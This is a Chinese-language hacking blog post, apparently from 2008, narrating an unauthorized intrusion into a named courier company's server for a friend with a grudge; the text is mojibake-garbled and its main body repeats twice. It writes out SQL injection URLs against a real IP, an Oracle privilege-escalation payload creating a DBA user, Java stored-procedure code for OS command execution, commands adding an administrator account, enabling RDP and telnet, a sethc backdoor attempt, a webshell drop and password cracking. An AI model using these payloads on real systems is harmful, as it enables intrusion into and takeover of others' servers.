對著名快遞公司的艱難的oracle入侵過程(圖)
互聯(lián)網(wǎng) 發(fā)布時間:2008-10-08 19:36:06 作者:佚名
我要評論

輕車熟路
一個對新飛鴻有意見的親密朋友找我說能不能把這個公司的網(wǎng)站給搞了,我一聽公司,心想,企業(yè)站都是垃圾,好搞,便痛快答應(yīng)(人品真好!),呵呵,但是后來才發(fā)現(xiàn)沒我想像的那么簡單。
asp的頁面,啊d和google掃注入點(diǎn)沒有,意料之中,工具誤
輕車熟路
一個對新飛鴻有意見的親密朋友找我說能不能把這個公司的網(wǎng)站給搞了,我一聽公司,心想,企業(yè)站都是垃圾,好搞,便痛快答應(yīng)(人品真好!),呵呵,但是后來才發(fā)現(xiàn)沒我想像的那么簡單。
asp的頁面,啊d和google掃注入點(diǎn)沒有,意料之中,工具誤差太大!于是旁注,結(jié)果只有這一個站,然后便邊開著流光掃服務(wù)器邊習(xí)慣性的去站上亂逛去手工找注入點(diǎn),一會的功夫出來一條鏈接,如圖:
習(xí)慣性的單引號,如圖
很明顯的注入,猜測源碼大體是這樣的:
select XX from XXX where wen='云南';
而且數(shù)據(jù)庫類型為oracle,頓時來了精神,很少有這種練手的機(jī)會!估計服務(wù)器配置肯定不錯!由于這種類型的數(shù)據(jù)庫沒什么好的工具,就直接來手工吧,那樣比較刺激,據(jù)我朋友說這個公司很大,網(wǎng)絡(luò)也很大,數(shù)據(jù)庫量更是大上加大,難怪用oracle呢,所以放棄后臺提權(quán)的想法!首先用union查詢確定字段數(shù)和暴一些敏感資料,提交如下url:
http://211.154.103.15/server2.asp?wen=四川省' order by 20--;
返回正確,說明此表字段名大于20,繼續(xù)提交
http://211.154.103.15/server2.asp?wen=四川省' order by 30--;
仍然返回正確,經(jīng)過一些列的猜測然后提交,49返回正確,50出錯,確定字段為49個,然后提交以下url:
http://211.154.103.15/server2.asp?wen=四川省' union select NULL,NULL,……,NULL from dual-
中間省略,一共49個null, 由于union查詢需要數(shù)據(jù)類型匹配,否則出錯,所以這里用null而不用數(shù)字可以避免類型錯誤,然后提交
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select 1,NULL,……,NULL from dual--;
出錯顯示類型不匹配,換成
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',NULL,……,NULL from dual--;
返回正確,說明第一個是字符型的,但是下面對應(yīng)位置并沒有顯示,繼續(xù)按以上方法嘗試后面48個,當(dāng)試到12和13時,下面對應(yīng)位置顯示了,如圖
好了,現(xiàn)在我們就要用下面那兩個地方爆我們需要的東西,看下oracle版本,提交
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',NULL,……,'11', (select banner from sys.v_$version where rownum=1),'13'……NULL from dual--;
結(jié)果如圖
繼續(xù)提交
select member from v$logfile where rownum=1
獲得操作系統(tǒng)版本,如圖
確定是windows,下面查看服務(wù)器sid,提交select instance_name from v$instance,如圖
待會遠(yuǎn)程連接要用的,下面確定下主機(jī)ip,telnet 漏洞頁上顯示的ip地址的1521端口,為oracle的端口, ,成功,1521開放,下面就本地架設(shè)個oracle客戶端,利用oracle的那些默認(rèn)帳號密碼登錄,嘗試n次均失敗告終,管理員安全意思不錯,表揚(yáng)下!^.^
下面就利用oracle的內(nèi)置函數(shù)SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES過濾不嚴(yán)的漏洞,至于這個函數(shù)的具體漏洞形成的原因,這里就不占篇幅了,想知道的可以去我博客,對oracle不熟悉的可以跳過這一部分,繼續(xù)構(gòu)造提交:
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER REBEYOND IDENTIFIED BY REBEYOND'''';END;'';END;--','SYS',0,'1',0)=''--;
這里講解下,and后面把函數(shù)求邏輯或然后與空比較,這樣系統(tǒng)會先求函數(shù)值,便會執(zhí)行我們構(gòu)造在函數(shù)里的語句,這樣就往數(shù)據(jù)庫加了個用戶名為rebeyond密碼為rebeyond的用戶,然后執(zhí)行
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant sysdba to rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
便把我們建的用戶加為dba權(quán)限,下面賦予用戶遠(yuǎn)程連接權(quán)限,提交
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
,好了,下面遠(yuǎn)程連接!
● 峰回路轉(zhuǎn)
本以為建了dba權(quán)限的用戶,遠(yuǎn)程連接繼續(xù)拿權(quán)限就完了,但是當(dāng)我以dba身份登錄時卻出現(xiàn)這個,如圖:
百度了下才知道是服務(wù)器那邊配置的問題,由于是服務(wù)器端的問題,一時不好解決,就暫時先用normal方式登錄,連接成功,進(jìn)去去權(quán)限設(shè)置那把權(quán)限能勾的都勾上,如圖:
因?yàn)槲覀儺吘故莇ba權(quán)限的,雖然沒以dba方式登錄,但是除了開關(guān)數(shù)據(jù)庫,其他權(quán)限還是都有的,然后就是想辦法提權(quán)拿服務(wù)器,雖然oracle不支持xp_cmdshell直接執(zhí)行系統(tǒng)命令,但是對pl\sql的支持是非常另人激動的,因?yàn)榭梢酝ㄟ^建立java存儲過程來執(zhí)行命令,注意這時建完shell后要對數(shù)據(jù)庫用戶賦予對磁盤文件操作的權(quán)限(在sqlplus里執(zhí)行):
call dbms_java.grant_permission('REBEYOND','java.io.FilePermission','c:/a.txt','read,write');
。cmd打開sqlplus(和oracle客戶端一起安裝的),輸入sqlplus /nolog,然后輸入
connect [email=rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL]rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL[/email])));
是不是用到了我們前面爆出的服務(wù)器sid呢,hoho,連接成功,下面開始執(zhí)行命令,創(chuàng)建java存儲過程,代碼如下:
java存儲過程:
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
第二步:
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
第三步:
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
創(chuàng)建完之后,就可以通過x := RUN_CMz(dos命令)來執(zhí)行系統(tǒng)命令了。
建 完存儲過程后系統(tǒng)命令執(zhí)行成功, 如圖
但是后來發(fā)現(xiàn)這個shell很不爽,如果遇到需要交互的命令就會卡死,剛開始想用"ftp 我的ip地址"檢測下能不能執(zhí)行,結(jié)果卡死,我這邊防火墻也沒反應(yīng),不解,后tasklist,發(fā)現(xiàn)ftp://ftp.exe/,確定對方不能連接外網(wǎng),可能有防火墻或作了設(shè)置,于是用ftp傳馬思路拋棄,打個systeninfo命令看下系統(tǒng),是2003,于是打算先建個超級用戶然后開3389,執(zhí)行exec :x := RUN_CMD('net user')結(jié)果卡死,猜測net被刪,執(zhí)行
exec :x := RUN_CMD('net1 user');
成功,執(zhí)行
exec :x := RUN_CMD('net1 user rebeyond rebeyond /add&net1 localgroup administrators rebeyond /add');
成功,下面用reg命令讀下3389的狀態(tài)和端口,執(zhí)行
exec :x := RUN_CMD('reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"');
發(fā)現(xiàn)fDenyTSconnections值為1,說明3389關(guān)閉,于是依次執(zhí)行以下語句開3389:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
因?yàn)閏md一交互就卡死,所以加了個/f強(qiáng)行參數(shù),搞定后運(yùn)行mstsc連接,結(jié)果另人吐血,能連上但是卻沒有登錄窗口,提示說什么" awgina.dll被替換成未知版本",猜測可能把3389用到的dll給刪除了,因?yàn)殡m然不能登錄但可以連接,于是想到了替換sethc.exe,在shell下依次執(zhí)行:
exec :x :=RUN_CMD ('del c:\windows\system32\sethc.exe /f')
exec :x :=RUN_CMD('del C:\WINDOWS\system32\dllcache\sethc.exe /f')
exec :x :=RUN_CMD('copy c:\windows\explorer.exe c:\windows\system32\sethc.exe'),
按五次shift后發(fā)現(xiàn)沒替換成功,也沒刪除成功,推斷原因只有一個,就是沒權(quán)限,但是我在前面用java建shell前專門賦予了權(quán)限的,不解,百度一番!發(fā)現(xiàn)賦予文件操作權(quán)限必須得以dba的方式登錄,但是前面說了我們無法以dba方式登錄,頓時大腦一片空白,沒有寫和刪除權(quán)限,只有運(yùn)行權(quán)限,思路一下少了很多,繼續(xù)!!忽然想到了telnet,用reg查看了下telnet服務(wù)的狀態(tài)為禁用,于是執(zhí)行
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr" /v Start /t REG_DWORD /d 2 /f
把telnet服務(wù)設(shè)置為自動,然后就是想辦法讓服務(wù)器重啟開telnet。
柳暗花明:
shell里執(zhí)行
rundll32.exe user.exe,restartwindows
,不一會主機(jī)重啟了,成功telnet,這樣權(quán)限我們已經(jīng)拿到了!但是要向圖像界面進(jìn)軍,在telnet執(zhí)行netstat -an看了下端口,發(fā)現(xiàn)5632,熟悉提權(quán)的人應(yīng)該很熟悉,這是pcanywhere的默認(rèn)端口,但是怎么才能知道pcanywhere的密碼呢?因?yàn)椴荒苓B接外網(wǎng),所以直接傳cif文件是不可能的,于是想到了webshell!在telnet里找到站的 目錄d:\site,執(zhí)行
echo "" >d:\site\guestboook.asp
訪問成功,然后用海洋一句話提交大馬成功如圖:
跳轉(zhuǎn)到pcanywhere的cif文件目錄下載cif文件并破解,成功得到pcanywhere的密碼,如圖:
到這基本就結(jié)束了,但是pcanywhere遠(yuǎn)程很不爽,于是還是想開用3389,于是百度搜索原因,發(fā)現(xiàn)是3389和pcanywhere沖突的原因并找到了解決辦法,刪除某個注冊表項(xiàng)就搞定了,在pcanywhere操作就很簡單了,搞定后重啟服務(wù)器,連接對方3389,終于看到了熟悉的登錄界面,用前面建的用戶成功登入!如圖:
至此整個入侵過程宣告結(jié)束!
一個對新飛鴻有意見的親密朋友找我說能不能把這個公司的網(wǎng)站給搞了,我一聽公司,心想,企業(yè)站都是垃圾,好搞,便痛快答應(yīng)(人品真好!),呵呵,但是后來才發(fā)現(xiàn)沒我想像的那么簡單。

asp的頁面,啊d和google掃注入點(diǎn)沒有,意料之中,工具誤差太大!于是旁注,結(jié)果只有這一個站,然后便邊開著流光掃服務(wù)器邊習(xí)慣性的去站上亂逛去手工找注入點(diǎn),一會的功夫出來一條鏈接,如圖:

習(xí)慣性的單引號,如圖

很明顯的注入,猜測源碼大體是這樣的:
select XX from XXX where wen='云南';
而且數(shù)據(jù)庫類型為oracle,頓時來了精神,很少有這種練手的機(jī)會!估計服務(wù)器配置肯定不錯!由于這種類型的數(shù)據(jù)庫沒什么好的工具,就直接來手工吧,那樣比較刺激,據(jù)我朋友說這個公司很大,網(wǎng)絡(luò)也很大,數(shù)據(jù)庫量更是大上加大,難怪用oracle呢,所以放棄后臺提權(quán)的想法!首先用union查詢確定字段數(shù)和暴一些敏感資料,提交如下url:
http://211.154.103.15/server2.asp?wen=四川省' order by 20--;
返回正確,說明此表字段名大于20,繼續(xù)提交
http://211.154.103.15/server2.asp?wen=四川省' order by 30--;
仍然返回正確,經(jīng)過一些列的猜測然后提交,49返回正確,50出錯,確定字段為49個,然后提交以下url:
http://211.154.103.15/server2.asp?wen=四川省' union select NULL,NULL,……,NULL from dual-
中間省略,一共49個null, 由于union查詢需要數(shù)據(jù)類型匹配,否則出錯,所以這里用null而不用數(shù)字可以避免類型錯誤,然后提交
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select 1,NULL,……,NULL from dual--;
出錯顯示類型不匹配,換成
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',NULL,……,NULL from dual--;
返回正確,說明第一個是字符型的,但是下面對應(yīng)位置并沒有顯示,繼續(xù)按以上方法嘗試后面48個,當(dāng)試到12和13時,下面對應(yīng)位置顯示了,如圖

好了,現(xiàn)在我們就要用下面那兩個地方爆我們需要的東西,看下oracle版本,提交
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',NULL,……,'11', (select banner from sys.v_$version where rownum=1),'13'……NULL from dual--;
結(jié)果如圖

繼續(xù)提交
select member from v$logfile where rownum=1
獲得操作系統(tǒng)版本,如圖

確定是windows,下面查看服務(wù)器sid,提交select instance_name from v$instance,如圖

待會遠(yuǎn)程連接要用的,下面確定下主機(jī)ip,telnet 漏洞頁上顯示的ip地址的1521端口,為oracle的端口, ,成功,1521開放,下面就本地架設(shè)個oracle客戶端,利用oracle的那些默認(rèn)帳號密碼登錄,嘗試n次均失敗告終,管理員安全意思不錯,表揚(yáng)下!^.^
下面就利用oracle的內(nèi)置函數(shù)SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES過濾不嚴(yán)的漏洞,至于這個函數(shù)的具體漏洞形成的原因,這里就不占篇幅了,想知道的可以去我博客,對oracle不熟悉的可以跳過這一部分,繼續(xù)構(gòu)造提交:
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER REBEYOND IDENTIFIED BY REBEYOND'''';END;'';END;--','SYS',0,'1',0)=''--;
這里講解下,and后面把函數(shù)求邏輯或然后與空比較,這樣系統(tǒng)會先求函數(shù)值,便會執(zhí)行我們構(gòu)造在函數(shù)里的語句,這樣就往數(shù)據(jù)庫加了個用戶名為rebeyond密碼為rebeyond的用戶,然后執(zhí)行
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant sysdba to rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
便把我們建的用戶加為dba權(quán)限,下面賦予用戶遠(yuǎn)程連接權(quán)限,提交
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
,好了,下面遠(yuǎn)程連接!
● 峰回路轉(zhuǎn)
本以為建了dba權(quán)限的用戶,遠(yuǎn)程連接繼續(xù)拿權(quán)限就完了,但是當(dāng)我以dba身份登錄時卻出現(xiàn)這個,如圖:

百度了下才知道是服務(wù)器那邊配置的問題,由于是服務(wù)器端的問題,一時不好解決,就暫時先用normal方式登錄,連接成功,進(jìn)去去權(quán)限設(shè)置那把權(quán)限能勾的都勾上,如圖:

因?yàn)槲覀儺吘故莇ba權(quán)限的,雖然沒以dba方式登錄,但是除了開關(guān)數(shù)據(jù)庫,其他權(quán)限還是都有的,然后就是想辦法提權(quán)拿服務(wù)器,雖然oracle不支持xp_cmdshell直接執(zhí)行系統(tǒng)命令,但是對pl\sql的支持是非常另人激動的,因?yàn)榭梢酝ㄟ^建立java存儲過程來執(zhí)行命令,注意這時建完shell后要對數(shù)據(jù)庫用戶賦予對磁盤文件操作的權(quán)限(在sqlplus里執(zhí)行):
call dbms_java.grant_permission('REBEYOND','java.io.FilePermission','c:/a.txt','read,write');
。cmd打開sqlplus(和oracle客戶端一起安裝的),輸入sqlplus /nolog,然后輸入
connect [email=rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL]rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL[/email])));
是不是用到了我們前面爆出的服務(wù)器sid呢,hoho,連接成功,下面開始執(zhí)行命令,創(chuàng)建java存儲過程,代碼如下:
java存儲過程:
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
第二步:
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
第三步:
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
創(chuàng)建完之后,就可以通過x := RUN_CMz(dos命令)來執(zhí)行系統(tǒng)命令了。
建 完存儲過程后系統(tǒng)命令執(zhí)行成功, 如圖

但是后來發(fā)現(xiàn)這個shell很不爽,如果遇到需要交互的命令就會卡死,剛開始想用"ftp 我的ip地址"檢測下能不能執(zhí)行,結(jié)果卡死,我這邊防火墻也沒反應(yīng),不解,后tasklist,發(fā)現(xiàn)ftp://ftp.exe/,確定對方不能連接外網(wǎng),可能有防火墻或作了設(shè)置,于是用ftp傳馬思路拋棄,打個systeninfo命令看下系統(tǒng),是2003,于是打算先建個超級用戶然后開3389,執(zhí)行exec :x := RUN_CMD('net user')結(jié)果卡死,猜測net被刪,執(zhí)行
exec :x := RUN_CMD('net1 user');
成功,執(zhí)行
exec :x := RUN_CMD('net1 user rebeyond rebeyond /add&net1 localgroup administrators rebeyond /add');
成功,下面用reg命令讀下3389的狀態(tài)和端口,執(zhí)行
exec :x := RUN_CMD('reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"');
發(fā)現(xiàn)fDenyTSconnections值為1,說明3389關(guān)閉,于是依次執(zhí)行以下語句開3389:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
因?yàn)閏md一交互就卡死,所以加了個/f強(qiáng)行參數(shù),搞定后運(yùn)行mstsc連接,結(jié)果另人吐血,能連上但是卻沒有登錄窗口,提示說什么" awgina.dll被替換成未知版本",猜測可能把3389用到的dll給刪除了,因?yàn)殡m然不能登錄但可以連接,于是想到了替換sethc.exe,在shell下依次執(zhí)行:
exec :x :=RUN_CMD ('del c:\windows\system32\sethc.exe /f')
exec :x :=RUN_CMD('del C:\WINDOWS\system32\dllcache\sethc.exe /f')
exec :x :=RUN_CMD('copy c:\windows\explorer.exe c:\windows\system32\sethc.exe'),
按五次shift后發(fā)現(xiàn)沒替換成功,也沒刪除成功,推斷原因只有一個,就是沒權(quán)限,但是我在前面用java建shell前專門賦予了權(quán)限的,不解,百度一番!發(fā)現(xiàn)賦予文件操作權(quán)限必須得以dba的方式登錄,但是前面說了我們無法以dba方式登錄,頓時大腦一片空白,沒有寫和刪除權(quán)限,只有運(yùn)行權(quán)限,思路一下少了很多,繼續(xù)!!忽然想到了telnet,用reg查看了下telnet服務(wù)的狀態(tài)為禁用,于是執(zhí)行
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr" /v Start /t REG_DWORD /d 2 /f
把telnet服務(wù)設(shè)置為自動,然后就是想辦法讓服務(wù)器重啟開telnet。
柳暗花明:
shell里執(zhí)行
rundll32.exe user.exe,restartwindows
,不一會主機(jī)重啟了,成功telnet,這樣權(quán)限我們已經(jīng)拿到了!但是要向圖像界面進(jìn)軍,在telnet執(zhí)行netstat -an看了下端口,發(fā)現(xiàn)5632,熟悉提權(quán)的人應(yīng)該很熟悉,這是pcanywhere的默認(rèn)端口,但是怎么才能知道pcanywhere的密碼呢?因?yàn)椴荒苓B接外網(wǎng),所以直接傳cif文件是不可能的,于是想到了webshell!在telnet里找到站的 目錄d:\site,執(zhí)行
echo "" >d:\site\guestboook.asp
訪問成功,然后用海洋一句話提交大馬成功如圖:

跳轉(zhuǎn)到pcanywhere的cif文件目錄下載cif文件并破解,成功得到pcanywhere的密碼,如圖:

到這基本就結(jié)束了,但是pcanywhere遠(yuǎn)程很不爽,于是還是想開用3389,于是百度搜索原因,發(fā)現(xiàn)是3389和pcanywhere沖突的原因并找到了解決辦法,刪除某個注冊表項(xiàng)就搞定了,在pcanywhere操作就很簡單了,搞定后重啟服務(wù)器,連接對方3389,終于看到了熟悉的登錄界面,用前面建的用戶成功登入!如圖:

至此整個入侵過程宣告結(jié)束!
相關(guān)文章
什么是CC攻擊 判斷網(wǎng)站是否被CC攻擊并且如何防御CC攻擊
CC主要是用來攻擊頁面的,大家都有這樣的經(jīng)歷,就是在訪問論壇時,如果這個論壇比較大,訪問的人比較多,打開頁面的速度會比較慢,對不?!一般來說,訪問的人越多,論壇的頁2024-01-06Windows系統(tǒng)安全風(fēng)險-本地NTLM重放提權(quán)
入侵者主要通過Potato程序攻擊擁有SYSTEM權(quán)限的端口偽造網(wǎng)絡(luò)身份認(rèn)證過程,利用NTLM重放機(jī)制騙取SYSTEM身份令牌,最終取得系統(tǒng)權(quán)限,該安全風(fēng)險微軟并不認(rèn)為存在漏洞,所以2021-04-15- 這篇文章主要介紹了文件上傳漏洞全面滲透分析小結(jié),這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21
- 這篇文章主要介紹了sql手工注入語句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權(quán),需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權(quán)與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權(quán)與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據(jù)獲取明文
不久之前我們說過關(guān)于http和https的區(qū)別,對于加密的https,我們一直認(rèn)為它是相對安全的,可今天要講的是,一種繞過HTTPS加密得到明文信息的web攻擊方式,不知道這消息對你2016-08-10iPhone和Mac也會被黑 一條iMessage密碼可能就被盜了
一直以來蘋果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會導(dǎo)致用戶信息泄露。2016-07-27- 國家正在修正關(guān)于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀(jì)佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤記錄器進(jìn)入攻擊者郵箱
面對惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護(hù)能力都沒有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤記錄器,進(jìn)入攻擊者郵箱2016-07-06